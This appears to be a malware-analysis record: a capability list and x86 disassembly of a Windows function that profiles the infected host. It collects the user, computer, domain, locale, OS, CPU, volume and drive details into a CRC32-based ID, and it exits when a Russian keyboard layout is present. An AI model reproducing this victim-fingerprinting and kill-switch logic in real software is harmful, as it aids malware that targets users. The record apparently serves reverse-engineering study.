Function at 0xf5a7330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get cpu information
Get disk information
Get disk size
Get hostname
Get session user name
Get system information on windows
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esi], 0
je 0xf5a736e
push 4
push 0x3000
push 0x202
push 0
call edi
lea ecx, [ebp - 0x14]
mov dword [esi + 8], eax
push ecx
push eax
mov dword [ebp - 0x14], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
cmp dword [esi + 0xc], 0
je 0xf5a7396
push 4
push 0x3000
push 0x20
push 0
mov dword [ebp - 0x14], 0x1e
call edi
lea ecx, [ebp - 0x14]
mov dword [esi + 0x14], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [esi + 0x18], 0
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
je 0xf5a73f6
push 4
push 0x3000
push 0x80
push 0
call edi
mov dword [esi + 0x20], eax
test eax, eax
je 0xf5a73f6
push ecx
push 0x80
push eax
push str.Domain
push str.SYSTEMCurrentControlSet_servicesTcpipParameters
push 0x80000002
call fcn.0f5a72b0
test eax, eax
je 0xf5a73e9
mov eax, dword [esi + 0x20]
cmp word [eax], 0
jne 0xf5a73f6
push str.WORKGROUP
push eax
jmp 0xf5a73f1
push str.undefined
push dword [esi + 0x20]
call ebx
add esp, 8
cmp dword [esi + 0x30], 0
je 0xf5a7495
push 4
push 0x3000
push 0x80
push 0
call edi
mov dword [ebp - 0x10], eax
mov dword [esi + 0x38], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.Control_PanelInternational
push 0x80000001
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xf5a747e
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x40
push eax
push dword [ebp - 0x10]
push 0
push 0
push str.LocaleName
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0xf5a7469
mov dword [ebp - 8], 1
jmp 0xf5a746f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0xf5a7495
push 0x8000
push 0
push dword [esi + 0x38]
mov dword [esi + 0x30], 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [esi + 0x3c], 0
je 0xf5a7599
push 4
push 0x3000
push 0x8a
push 0
call edi
push 4
push 0x3000
mov dword [ebp - 4], eax
add eax, 0xe
push 4
push 0
mov dword [ebp - 0x10], eax
call edi
mov dword [esi + 0x44], eax
mov edi, 1
mov dword [ebp - 0x14], 1
push edi
push 0xf5b0054
push dword [ebp - 4]
call ebx
add esp, 0xc
mov dword [ebp - 0xc], 0
lea eax, [ebp - 8]
inc edi
push eax
push 0x20019
push 0
push str.Keyboard_LayoutPreload
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xf5a7564
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x80
push eax
push dword [ebp - 0x10]
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0xf5a7534
mov dword [ebp - 0xc], 1
jmp 0xf5a753a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
je 0xf5a7564
push str.00000419
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0xf5a7632
mov eax, dword [ebp - 0x14]
jmp 0xf5a7569
xor eax, eax
mov dword [ebp - 0x14], eax
cmp edi, 9
je 0xf5a7576
test eax, eax
jne 0xf5a74d4
push 0xf5b00a4
push dword [esi + 0x44]
call ebx
add esp, 8
push 0x8000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esi + 0x48], 0
je 0xf5a75fb
push 4
push 0x3000
push 0x82
push 0
call edi
push ecx
push 0x80
push eax
push 0xf5b00a8
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov dword [esi + 0x50], eax
call fcn.0f5a72b0
test eax, eax
jne 0xf5a75fb
push ecx
push 0x80
push dword [esi + 0x50]
push 0xf5b00a8
push str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersion
push 0x80000002
call fcn.0f5a72b0
push str.error
push dword [esi + 0x50]
call ebx
add esp, 8
cmp dword [esi + 0x54], 0
je 0xf5a766e
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 4
push 0x3000
push 0x40
push 0
call edi
movzx ecx, word [ebp - 0x48]
mov dword [esi + 0x5c], eax
cmp ecx, 9
ja case.0xf5a762b.1
movzx ecx, byte [ecx + 0xf5a7a00]
jmp dword [ecx*4 + 0xf5a79ec]
push 0xf5b00a0
push dword [esi + 0x44]
call ebx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xf5b01a0
jmp 0xf5a7668
push 0xf5b01a8
jmp 0xf5a7668
push str.Itanium
jmp 0xf5a7668
push 0xf5b01c0
jmp 0xf5a7668
push str.Unknown
push eax
call ebx
add esp, 8
cmp dword [esi + 0x24], 0
je 0xf5a768f
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
lea eax, [esi + 0x2c]
push eax
call fcn.0f5a7a10
test eax, eax
jne 0xf5a768f
mov dword [esi + 0x24], eax
cmp dword [esi + 0x60], 0
je 0xf5a77d9
push 4
push 0x3000
push 0x400
push 0
call edi
push 4
push 0x3000
push 0xe0c
push 0
mov dword [esi + 0x68], eax
call edi
mov edi, eax
push 0x100
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea ecx, [edi + 0x600]
push 0x100
mov word [edi + 6], ax
lea eax, [edi + 0x400]
push eax
lea eax, [edi + 0x604]
push eax
lea eax, [edi + 0x608]
push eax
push ecx
push 0x100
lea eax, [edi + 0x200]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ecx
push 0x80
lea ecx, [edi + 0x60c]
push ecx
push str.ProcessorNameString
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.0f5a72b0
test eax, eax
je 0xf5a775a
lea eax, [edi + 0x60c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [edi + 0x60c]
push ecx
push 0x80
lea eax, [ecx + eax*2]
push eax
push str.Identifier
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.0f5a72b0
push dword [edi + 0x600]
push 0xf5b0054
push dword [esi + 0x68]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [edi + 0x60c]
add esp, 0xc
push eax
push dword [esi + 0x68]
call ebx
push str.RtlComputeCrc32
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
test eax, eax
je 0xf5a77b9
push dword [esi + 0x68]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [esi + 0x68]
push 0x29a
call dword [ebp - 0x18]
mov dword [esi + 0x6c], eax
jmp 0xf5a77c0
mov dword [esi + 0x6c], 0
mov eax, dword [edi + 0x600]
push 0x8000
push 0
push edi
mov dword [esi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0xf5a77df
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp dword [esi + 0x74], 0
je 0xf5a7992
push 4
push 0x3000
push 0x400
push 0
mov dword [ebp - 0x40], str.UNKNOWN
mov dword [ebp - 0x3c], str.NO_ROOT_DIR
mov dword [ebp - 0x38], str.REMOVABLE
mov dword [ebp - 0x34], str.FIXED
mov dword [ebp - 0x30], str.REMOTE
mov dword [ebp - 0x2c], str.CDROM
mov dword [ebp - 0x28], str.RAMDISK
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0x7c], eax
lea ecx, [ebp - 0x80]
mov eax, 0x41
lea esp, [esp]
mov word [ecx], ax
lea ecx, [ecx + 2]
inc eax
cmp ax, 0x5a
jbe 0xf5a7840
mov eax, dword [0xf5af344]
mov dword [ebp - 0x24], eax
mov eax, dword [0xf5af348]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov ax, word [ebp + eax*2 - 0x80]
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, eax
cmp edi, 2
jbe 0xf5a796d
cmp edi, 5
je 0xf5a796d
xor eax, eax
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x7c]
call ebx
push dword [ebp + edi*4 - 0x40]
mov eax, 0x5c
push dword [esi + 0x7c]
mov word [ebp - 0x20], ax
call ebx
push 0xf5b0310
push dword [esi + 0x7c]
call ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
je 0xf5a7963
mov edi, dword [ebp - 0x18]
imul edi, dword [ebp - 0x10]
push 0
push edi
push 0
push dword [ebp - 0xc]
call fcn.0f5a8950
push 0
push edi
push 0
push dword [ebp - 8]
mov dword [ebp - 4], eax
mov ebx, edx
call fcn.0f5a8950
mov edi, dword [ebp - 4]
mov ecx, edi
push dword [esi + 0x7c]
sub ecx, eax
mov eax, ebx
mov dword [ebp - 0x1c], ecx
sbb eax, edx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esi + 0x7c]
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push edi
lea eax, [ecx + eax*2]
push 0xf5b0314
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0x10
push dword [esi + 0x7c]
call edi
push dword [ebp - 4]
mov ecx, dword [esi + 0x7c]
push dword [ebp - 0x1c]
push str._I64u
lea eax, [ecx + eax*2]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x10
push 0xf5b0330
push dword [esi + 0x7c]
call ebx
jmp 0xf5a7973
push 0xf5b0334
push dword [esi + 0x7c]
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x1b
jb 0xf5a7862
push dword [esi + 0x7c]
call edi
mov ecx, dword [esi + 0x7c]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
cmp dword [esi + 0x80], 0
je 0xf5a79e0
push 4
push 0x3000
push 0x81
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0x84], eax
test eax, eax
je 0xf5a79d6
push ecx
push eax
call fcn.0f5a6e90
test eax, eax
jne 0xf5a79e0
push 0x8000
push eax
push dword [esi + 0x84]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 0x80], 0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret